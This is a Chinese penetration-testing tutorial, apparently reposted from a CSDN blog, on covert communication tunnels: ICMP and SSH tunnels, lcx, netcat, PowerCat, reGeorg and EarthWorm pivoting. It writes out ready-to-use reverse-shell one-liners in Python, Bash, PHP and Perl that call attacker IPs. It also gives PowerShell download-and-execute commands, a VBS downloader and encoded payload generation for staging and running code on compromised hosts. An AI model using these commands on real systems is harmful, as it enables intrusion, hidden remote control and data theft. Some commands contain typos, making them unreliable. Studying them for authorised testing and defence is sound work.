内网渗透测试-隐藏通信隧道技术

隐藏通信隧道技术


完成内网信息搜集后,需要先判断流量是否出得去、进得来。隐藏通信隧道技术常用于在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。

一、基础知识

1、概述

在渗透场景中,各种安全设备会检查对外连接的情况,如果发现异常,就会对通信进行阻断。因此建立专门的隐蔽隧道就十分必要,这能绕过端口屏蔽。
常用的隧道如下:

  • 网络层隧道:IPv6、ICMP、GRE
  • 传输层隧道:TCP、UDP、常规端口转发
  • 应用层隧道:SSH、HTTP、HTTPS、DNS

2、判断内网的连通性

**判断内网的连通性是指判断机器能否上外网等。**要综合判断各种协议(TCP、HTTP、DNS、ICMP等)及端口通信的情况。常见的允许流量流出的端口有80、8080、443、53、110、123等,常用的内网的连通性判断方法如下:

①ICMP协议

ping <IP地址或域名>
在这里插入图片描述

②TCP协议

nc -zv 10.60.18.222 3306
在这里插入图片描述

③HTTP协议

curl https://www.baidu.com
在这里插入图片描述

④DNS协议

nslookup www.baidu.com
在这里插入图片描述
除此之外还有dig命令
dig www.baidu.com
在这里插入图片描述
还有一种情况是流量不能直接流出,需要在内网中设置代理,判断方法如下:
1、查看网络连接,判断是否存在与其他机器的8080(不绝对)等端口的连接,可尝试运行ping -n 1 -a ip命令
在这里插入图片描述
2、查看内网中是否有主机名类似于"proxy"的机器。
3、查看IE浏览器的直接代理。
4、根据pac(代理自动配置)文件的路径(远程、本地),将其下载并查看。
5、执行如下命令,利用curl工具确认:

curl https://www.baidu.com			//不通
curl -x proxy-ip:port www.baidu.com		//通

二、网络层隧道技术

在网络层中,常用的隧道协议是IPv6和ICMP协议。

1、IPv6隧道

IPv6隧道技术是指通过IPv4隧道传输IPv6数据报文的技术,也就是说,将IPv6报文整体封装在IPv4数据报文中,以便在IPv4隧道中传输。作业流程如下:
在这里插入图片描述
假设左边为节点A,右边为节点B
①节点A要向节点B发送IPv6报文,首先需要建立一条隧道。
②节点A将IPv6报文封装在以节点B的IPv4地址为目的地址,以自己的IPv4地址为源地址的IPv4报文中并发出。
③在网络中,该报文正常转发到节点B。
④节点B收到报文后,解除IPv4的封装,取出其中的IPv6报文。
因为现阶段的部分安全设备无法识别IPv6的通信技术,而大多数操作系统支持IPv6,因此可以通过某些软件来配置允许进行IPv6通信以此来避开防火墙和入侵检测系统,而即使设备支持IPv6,也可能无法正确分析封装了IPv6报文的IPv4数据包。
支持IPv6隧道的工具有socat、6tunnel、nt6tunnel等。

2、ICMP隧道

在一般的通信协议里,如果两台设备要进行通信,首先肯定需要开放端口,而在ICMP下就不需要,在一些网络环境中如果使用各类上层隧道(HTTP、DNS、常规正反向端口转发等)进行的操作都失败后,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装在ICMP的ping数据包中,从而穿过防火墙。
常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等:

(1)icmpsh

项目地址:https://github.com/inquisb/icmpsh
运行如下命令:

python icmpsh_m.py <本机IP> <目标IP>

在目标主机上则运行:

icmpsh -t <外连主机IP> -d 500 -b 30 -s 128

在这里插入图片描述
ICMP报文:
在这里插入图片描述

(2)PingTunnel

测试环境如下:
在这里插入图片描述

PingTunnel项目地址:
http://freshmeat.sourceforge.net/projects/ptunnel/
在服务器192.168.1.4中输入
ptunnel -x shuteer
在这里插入图片描述
VPS上执行
ptunnel -p 192.168.222.135 -lp 1080 -da 192.168.1.4 -dp 3389 -x shuteer
在这里插入图片描述
攻击机访问VPS的1080端口:
在这里插入图片描述
会话产生
在这里插入图片描述
登录即可
在这里插入图片描述

三、传输层隧道技术

传输层技术包括TCP隧道,UDP隧道和常规端口转发,在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获取到目标机器的权限后,可以使用IPTABLES打开指定端口。

1、lcx端口转发

(1)内网端口转发

将目标机器3389端口的所有数据转发到VPS的4444端口上

lcx -slave 192.168.1.2 4444 127.0.0.1 3389

VPS上执行

lcx -listen 4444 5555

用mstsc登录公网IP:5555即可连接到目标机器的3389端口。
在这里插入图片描述

(2)本地端口映射

如果目标服务器的防火墙对3389做了限制,那么可以在目标主机上执行如下命令:

lcx -tran 53 目标主机IP地址 3389

在这里插入图片描述

2、netcat

(1)端口扫描

nc -v 192.168.1.2 80
在这里插入图片描述

(2)扫描指定主机端口段

nc -v -z 192.168.1.2 3300-3307
在这里插入图片描述

(3)监听本地端口

nc -l -p 192.168.1.2 9999
在这里插入图片描述

(4)文件传输

在主机上执行如下命令,一旦有数据流入,则会写入3.txt
nc -lp 4444>3.txt
在另一台机器上执行
nc -vn 192.168.1.3 4444 < 2.txt
在这里插入图片描述

(5)简易聊天

在这里插入图片描述
在这里插入图片描述

(6)获取shell

①正向shell(攻击者连接目标主机)

目标主机输入如下命令监听4444端口

nc -lvp 4444 -e /bin/sh         #Linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe         #Windows

攻击者输入
nc 192.168.1.3 4444
在这里插入图片描述

②反向shell(目标主机连接攻击者)

在VPS(攻击者)上监听4444端口

nc -lvp 4444			#注意此处无-e

在目标主机上输入

nc 192.168.1.3 4444 -e /bin/sh         #Linux
nc 192.168.1.3 4444 -e c:\windows\system32\cmd.exe         #Windows

在这里插入图片描述

(7)目标主机无nc时获取反向shell

①Python反向shell

目标主机上执行如下命令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.222.135",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

攻击机监听4444端口
nc -lvp 4444
在这里插入图片描述

②Bash反向shell

攻击机上执行
nc -lvp 4444
在这里插入图片描述

目标主机上执行
bash -i >& /dev/tcp 192.168.222.131/4444 0>&1
在这里插入图片描述

③PHP反向shell

攻击机上执行
nc -lvp 4444
目标主机上执行

php -r '$sock=fsockopen("192.168.222.131",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

在这里插入图片描述

④Perl反向shell

攻击机上执行
nc -lvp 4444
目标主机上执行

perl -e 'use Socket;$i="192.168.222.131";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

在这里插入图片描述

(8)内网代理

环境如下
在这里插入图片描述
首先VPS中
nc -lvp 4444
接着,在数据库服务器中执行
nc -lvp 4444 -e c:\windows\system32\cmd.exe
最后,在Web服务器上执行
nc -v 192.168.222.135 4444 -c "nc -v 192.168.1.2 4444"
在这里插入图片描述

3、PowerCat

项目地址:
https://github.com/besimorhino/powercat.git
参数详解:

参数 功能
-l 监听入站连接
-c 连接目标
-p 连接或监听的端口
-e 返回某个程序
-ep 返回PowerShell
-r 端口转发
-u 通过UDP隧道传输数据
-dns 通过DNS隧道传输数据
-dnsft DNS失效阈值
-t 超时选项。默认值:60
-i 输入:文件路径(字符串)、字节数组或字符串
-o 控制台输出类型:“主机”、“字节”或“字符串”
-of 输出文件路径
-d 连接后断开
-rep 重新启动
-g 生成有效载荷
-ge 生成编码后的有效载荷
-h 帮助信息

测试环境:

操作系统 IP地址
Windows7 192.168.222.134,192,.168.1.3
Windows Server 2008 R2 192.168.1.2
Kali Linux 192.168.222.131

(1)通过nc正向连接PowerCat

在Windows7上执行监听命令
powercat -l -p 8080 -e cmd.exe -v
在这里插入图片描述
在这里插入图片描述

(2)通过nc反向连接PowerCat

Kali中执行如下命令
nc -l -p 8888 -vv
Windows7中执行
powercat -c 192.168.222.131 -p 8888 -v -e cmd.exe
在这里插入图片描述

(3)通过PowerCat返回PowerShell

上述介绍的操作均可与nc交互,但如果是返回的是powershell则无法与nc进行交互。
在Windows7(攻击机)执行
powercat -l -p 9999 -v
在Windows Server 2008 R2执行如下命令,-ep用于返回Powershell
IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.3/powercat.ps1")
powercat -c 192.168.1.3 -p 9999 -v -ep
在这里插入图片描述

(4)通过PowerCat传输文件

Windows7中的test.txt文件,放于C盘根目录,执行如下命令
在这里插入图片描述
powercat -l -p 9999 -of test.txt -v
在Windows Server 2008 R2执行如下命令
powercat -c 192.168.1.3 -p 9999 -i c:\test.txt -v

(5)用PowerCat生成Payload

用PowerCat生成的Payload也有正向和反向之分,且可以对其进行编码。

①正向

执行如下命令可生成一个Payload
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
在这里插入图片描述
将生成的Payload上传至Windows Server 2008 R2运行,使用Windows7连接可得到一个shell
powercat -c 192.168.1.2 -p 8000 -v
在这里插入图片描述

②反向

Windows7上执行
powercat -c 192.168.1.3 -p 8000 -e cmd -v -g >> shell.ps1
并监听8000端口
在这里插入图片描述
在Windows Server 2008 R2运行shell.ps1即可反弹shell。
如果想正向连接一个PowerShell,可以执行如下命令
powercat -l -p 8000 -ep -v -g >> shell.ps1
用PowerCat直接生成经过编码的Payload
powercat -c 192.168.1.2 -p 9999 -ep -ge >> shell.ps1
在这里插入图片描述
Windows Server 2008 R2执行(powershell版本需大于4.0)
powershell -E 编码结果

(6)PowerCat DNS隧道通信

PowerCat的DNS通信是基于dnscat设计的,在使用dnscat之前需要对其进行编译

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

若bundle install长时间无响应则执行
bundle config mirror.https://rubygems.org https://gems.ruby-china.combundle install
然后执行
ruby dnscat2.rb ttpowercat.test -e open --no-cache
回到目标主机上执行
powercat -c 192.168.1.4 -p 53 -dns ttpowercat.test -e cmd.exe

(7)PowerCat作为跳板

在Windows Server 2008 R2执行
powercat -l -v -p 9999 -e cmd.exe
在Windows7执行
powercat -l -v -p 8000 -r tcp:192.168.222.131:9999
Kali Linux上执行
nc 192.168.222.134 8000 -vv
也可以使用DNS协议,在Windows7执行
powercat -l -v -p 8000 -r dns:192.168.222.131::ttpowercat.test
Kali Linux上执行
ruby dnscat2.rb ttpowercat.test -e open --no-cache
在Windows Server 2008 R2执行
powercat -c 192.168.1.3 -p 8000 -v -e cmd.exe

4、应用层隧道技术

(1)SSH协议

一个普通的SSH命令
ssh [email protected]
创建SSH隧道的常用参数说明如下:

  • -C:压缩传输,提高传输速率。
  • -f:将SSH传输转入后台执行,不占用当前的shell。
  • -N:建立静默连接(看不到具体会话)。
  • -g:允许远程主机连接本地用于转发的端口。
  • -L:本地端口转发。
  • -R:远程端口转发。
  • -D:动态转发(SOCKS代理)。
  • -P:指定SSH端口。

①本地转发

环境如下
在这里插入图片描述
VPS上执行如下命令
ssh -CfNg -L 1153:192.168.1.2:3389 [email protected]
查看本地1153端口是否已经连接
netstat -tulnp | grep "1153"
在这里插入图片描述
在这里插入图片描述

②远程转发

环境如下
在这里插入图片描述
Web服务器上执行如下命令
ssh -CfNg -R 3307:192.168.1.2:3389 [email protected]
查看本地3307端口是否已经连接
netstat -tulnp | grep "3307"
访问VPS的3307端口
rdesktop 127.0.0.1:3307

③动态转发

VPS上执行如下命令建立一个SOCKS 4/5DAILI 通道
ssh -CfNg -D 7000 [email protected]
查看本地7000端口是否已经连接
netstat -tulnp | grep "7000"
在这里插入图片描述
接着在VPS上打开浏览器将代理设置为
在这里插入图片描述
成功访问
在这里插入图片描述

(2)HTTP/HTTPS协议

HTTP Service代理用于将所有流量转发到内网,常见的代理工具有reGeorg、meterpreter、tunna等。
reGeorg是reDuh的升级版,主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP的通信。reGeorg容易被杀毒软件查杀。
项目地址:https://github.com/sensepost/reGeorg
将脚本文件上传至目标服务器中,使用Kali访问上传后的文件
在这里插入图片描述
接着使用reGeorgSocksProxy.py监听4444端口建立通信,命令

python reGeorgSocksProxy.py -u http://192.168.222.138:8080/tunnel.jsp -p 4444

这时我们可以使用ProxyChain之类的工具,访问目标内网中的资源或者对目标3389端口爆破等等。
在这里插入图片描述
NPS:一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。
项目地址:https://github.com/ehang-io/nps

(3)DNS协议

DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术,常见的DNS隧道技术可以使用:

①dnscat2

②iodine

5、SOCKS代理

常见的网络场景:

  • 服务器在内网中,可以任意访问外部网络。
  • 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接。
  • 服务器在内网中,对外只开放了部分端口,且服务器不能访问外部网络
    SOCKS是一种代理服务,可以简单地将一端的系统连接另一端,SOCKS包括多种协议,包括HTTP、FTP等。SOCKS4只支持TCP协议,SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080。

(1)EarthWorm

ssocksd用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接的命令。

①正向SOCKS5服务器

适用于目标机器有公网IP地址的情况:
ew -s ssocksd -l 888

②反向SOCKS5服务器

目标机器没有一个外网IP地址的情况:
公网VPS执行:
ew -s rcsocks -l 1008 -e 888,即在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给888端口
在这里插入图片描述
在内网机器上执行:
ew -s rssocks -d 192.168.222.137 -e 888,即在IP地址为192.168.1.6的机器上启动SOCKS5服务并反弹到VPS的888端口
在这里插入图片描述
可以看到反弹成功,此时访问VPS的1008端口去使用内网上假设的SOCKS5代理服务了:
在这里插入图片描述

③二级网络环境(a)

假设有如下机器:
A:双网卡,有公网IP,只能访问内网的B主机
B:只能访问内网资源,无法访问外网
首先我们需要通过A向B传送EW,并使用ssocksd启动888端口的SOCKS代理:
在这里插入图片描述
A主机将1080端口收到的代理请求转发给B(192.168.1.6),现在可以通过访问A主机的1080端口使用B的SOCKS5代理:
在这里插入图片描述

④二级网络环境(b)

假设有如下机器:
A:无公网IP,可以访问外网,无法访问内网资源
B:只能访问内网资源,无法访问外网
VPS一台
首先在VPS上执行
ew -s lcx_listen -l 1080 -e 888,即在公网VPS中添加转接隧道,将1080端口收到的代理请求转发给888端口。
B主机执行,利用socksd方式启动999端口的SOCKS代理:
ew -s ssocksd -l 999
A主机执行,即将VPS的888端口和B主机的999端口连接起来:
ew -s lcx_slave -d VPS的IP地址 -e 888 -f B主机 -g 999

⑤三级网络环境

假设有如下机器:
A:无公网IP,可以访问外网
B:只能访问内网资源,无法访问外网,只能被A访问
C:可以被B访问并能访问核心区域
VPS一台
在VPS上执行,将1080端口收到的代理请求转发到888端口
ew -s rcsocks -l 1080 -e 888
在A主机上将VPS的888端口与B主机的999端口连接起来
ew -s lcx_slave -d VPS -e 888 -f B主机 -g 999
在B主机上将999端口收到的代理请求转发到777端口
ew -s lcx_listen -l 999 -e 777
在C主机上启动SOCKS5服务并反弹到777端口
ew -s rssocks -d B主机 -e 777

(2)SocksCap64实现内网漫游

点击该图标添加代理
在这里插入图片描述
添加程序
在这里插入图片描述
选择在代理隧道中运行程序就可以进行内网漫游(即配合EW使用,或者Proxifier配合EW使用)
在这里插入图片描述

(3)ProxyChains实现内网漫游

Kali Linux自带ProxyChains,看看配置文件
vim /etc/proxychains.conf去除该处的#
在这里插入图片描述
添加代理服务器
在这里插入图片描述
测试代理服务器,提示未找到命令
在这里插入图片描述
运行cp /usr/lib/proxychains3/proxyresolv /usr/bin,这里我并没有配置代理服务器,因此为timeout
在这里插入图片描述
访问内网中的网站可以用命令
proxychains firefox启动火狐浏览器
proxychains nmap IP地址(此命令在metasploit中同样适用)
proxychains sqlmap ......

6、压缩数据

渗透过程中常常要下载数据,这里有几种将数据进行压缩方便下载的技术

(1)RAR

这里提取出winrar下的rar.exe,说明如下:

参数 功能
-a 添加要压缩的文件
-k 锁定压缩文件
-s 生成存档文件(提高压缩比)
-p 指定压缩密码
-r 递归压缩,包括子目录
-x 指定要排除的文件
-v 分卷打包,大文件使用
-ep 从名称中排除路径
-ep1 从名称中排除基本目录
-m0 存储,添加到压缩文件时不压缩文件
-m1 最快
-m2 较快
-m3 标准
-m4 较好
-m5 最好
e 解压到当前根目录下
x 以绝对路径解压

(2)7-Zip

这里提取7z.exe,说明如下:

参数 功能
-r 递归压缩
-o 指定输出目录
-p 指定密码
-v 分卷压缩
a 添加压缩文件

7、上传和下载

对于不能上传shell,但是可以执行命令的windows服务器,可以进行上传和下载操作

(1)利用ftp协议上传

常用命令:

命令 功能
open <服务器地址> 链接服务器
cd <目录名> 进入指定目录
lcd <文件夹路径> 定位本地文件夹(上传文件的位置或者下载文件的本地位置)
type 查看当前的传输方式
ascii 设置传输方式为ascii码(TXT文件等)
binary 设置传输方式为二进制传输(EXE文件,图片,视频)
close 结束与ftp服务器的会话
quit 结束与ftp服务器的会话并退出ftp环境
put <文件名> [新的文件名] 上传,[]内容不指定则不修改
send <文件名> [新的文件名] 上传,[]内容不指定则不修改
get <文件名> [新的文件名] 下载,[]内容不指定则不修改
mget <文件名> [文件名…] 下载多个文件,支持空格和?通配符,如下载所有MP3文件:mget .mp3

(2)利用vbs上传

利用vbs上传主要使用msxm12.xmlhttp和adobd.stream对象,download.vbs文件:

Set Post = CreateObject("Msxm12.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://server_ip/target.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\Test\target.exe",2

使用echo 内容 >> download.vbs逐行写入后执行
Cscript download.vbs

(3)利用Nishang上传

Nishang将上传的EXE文件转换为十六进制的形式然后用echo访问目标服务器最后使用Download_Execute脚本下载。
先利用Nishang中的exetotext.ps1脚本将Metasploit生成的msf.exe修改问msf.txt:
ExetoText c\:msf.exe c:\msf.txt
接着通过echo将hex值添加到目标文件中,调用Download_Execute:
Download_Execute http://server_ip/target.txt

(4)利用bitsadmin下载

bitsadmin不支持HTTPS和FTP,且在Windows XP/Server 2003及以前的版本无法使用,Windows7/8/10自带。

(5)利用PowerShell下载

powershell IEX(New-Object System.Net.Webclient).DownloadString('https://server_ip/target.exe');

猜你喜欢

转载自blog.csdn.net/weixin_44047795/article/details/110990377